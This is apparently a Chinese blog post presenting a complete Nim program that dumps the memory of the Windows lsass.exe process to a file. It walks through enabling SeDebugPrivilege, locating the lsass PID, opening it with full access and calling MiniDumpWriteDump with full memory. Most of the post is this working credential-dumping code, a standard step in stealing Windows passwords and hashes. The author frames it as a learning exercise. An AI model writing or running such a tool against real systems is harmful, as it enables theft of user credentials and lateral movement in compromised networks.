• nim版-简易转储lsass.dmp


    一、简单概述一下编写逻辑

    权限提升 将当前程序的权限句柄调为可调试其他进程的权限
    查找 lsass.exe 进程 id 
    返回判断成功就继续 没找到就退出程序
    打开一个写入的文件 
    MiniDumpWriteDump 函数转储出来 写入 

    二、使用到的一些winapi 简述一下

    1、提升debug权限

    OpenProcessToken  打开进程令牌
    LookupPrivilegeValue 检索suid 开启调试其他进程的权限
    AdjustTokenPrivileges 启用访问令牌特权

    2、获取lsass进程id

    CreateToolhelp32Snapshot 获取当前进程快照 返回当前进程快照的打开句柄
    Process32First 查找系统快照第一个进程 Process32Next 查找下一个系统快照下一个进程

    3、获取lsass的进程句柄

    OpenProcess 获取指定进程的句柄

    4、打开文件并进行转储

    open 操控文件的函数
    MiniDumpWriteDump 将转储信息写入文件

    三、完整代码

    import winim
    proc EnableDebugPriv():bool=
        var 
            hToken:HANDLE 
            luid:LUID
            tokenPriv:TOKEN_PRIVILEGES
        defer: CloseHandle(hToken)        
        if not bool(OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,&hToken)): #打开进程令牌 
            echo "get token error"
            return false
        if not bool(LookupPrivilegeValue(nil, SE_DEBUG_NAME, &luid)):#检索suid 开启调试其他进程的权限
            echo "Lookup SE_DEBUG_NAME error"
            return false
        tokenPriv.PrivilegeCount = 1
        tokenPriv.Privileges[0].Luid = luid
        tokenPriv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED
        if not bool(AdjustTokenPrivileges(hToken, false, &tokenPriv, cast[DWORD](sizeof(tokenPriv)), nil, nil)):#启用访问令牌特权
            echo "error"
        return true        
    proc to_string(szExeFile:openArray[WCHAR]):string=
        #var ret_string:string=""
        for i in szExeFile:
            if(char(i)==''):
                break
            result.add(char(i))
        #return ret_string
    proc get_lsass_pid(find_procss:string):DWORD=
        echo("start get lsass pid")
        #proc CreateToolhelp32Snapshot(dwFlags: DWORD; th32ProcessID: DWORD): HANDLE
        var 
            Snapshot_ret : HANDLE
            dwFlags = DWORD TH32CS_SNAPPROCESS
            th32ProcessID = DWORD TH32CS_SNAPALL
            lppe : PROCESSENTRY32 
            error : string
            process_name : string
        Snapshot_ret = CreateToolhelp32Snapshot(dwFlags,th32ProcessID)#获取当前进程快照 返回当前进程快照的打开句柄
        defer: CloseHandle(Snapshot_ret)#关闭句柄 推迟关闭
        if(Snapshot_ret!=INVALID_HANDLE_VALUE):
            echo("打开成功 快照句柄为",Snapshot_ret)
            lppe.dwSize=cast[DWORD](sizeof(lppe))
            #proc Process32First(hSnapshot: HANDLE; lppe: LPPROCESSENTRY32W): WINBOOL
            if(Process32First(Snapshot_ret,&lppe)): #查找系统快照第一个进程       
                while Process32Next(Snapshot_ret,&lppe): #查找下一个系统快照下一个进程
                    #process_name=`$$`(lppe.szExeFile)
                    process_name=tostring(lppe.szExeFile)
                    if(process_name==find_procss):
                         result=lppe.th32ProcessID
            else:    
                error="Process32First"
                echo("error for ",error)
                result = -1
        else:
            error="CreateToolhelp32Snapshot"
            echo("error for ",error)
            result = -1
    
    when isMainModule:
        var
            find_procss:string
            procss_ret_pid:DWORD
        if not EnableDebugPriv():
            echo "error for EnableDebugPriv"
        procss_ret_pid = get_lsass_pid(find_procss="lsass.exe")
        if(procss_ret_pid == -1):
            echo("get ",find_procss," pid error")
            quit(-1)
        echo("find ",find_procss," pid is ",procss_ret_pid)
    
        var
            dwDesiredAccess=DWORD PROCESS_ALL_ACCESS
        #proc OpenProcess(dwDesiredAccess: DWORD; bInheritHandle: WINBOOL;dwProcessId: DWORD): HANDLE        
        var procss_jb=OpenProcess(dwDesiredAccess,false,procss_ret_pid)
        if not bool(procss_jb):
            echo("noAuthority")
            quit(-1)        
    
        var fs = open(r"proc.dump", fmWrite) #准备写入的文件
        var MiniDumpWithFullMemory=0x00000002
        if not bool(MiniDumpWriteDump(procss_jb,procss_ret_pid,fs.getOsFileHandle(),cast[MINIDUMP_TYPE](MiniDumpWithFullMemory),nil,nil,nil)):
            echo("error is MiniDumpWriteDump")
    

      

    代码水平较低 错误可能也比较多 学习使用 可能有很多错误望指正

  • 相关阅读:
    程序员常见的口头禅,哈哈哈哈~
    2020年以后,IT行业还能否继续那么“吃香”?
    IntelliJ IDEA 15款 神级超级牛逼插件推荐(真的超级牛X)
    实验6——力导向图
    新的云端储存解决方案
    Router Mesh
    conda虚拟环境下,如果pip无法安装的包,可以试试下面这个命令
    Version value must be a string; got a NilClass () (TypeError)
    --use-feature=2020-resolver 检查环境冲突
    焦虑情绪
  • 原文地址:https://www.cnblogs.com/Chuantouli/p/15415257.html
Copyright © 2020-2023  润新知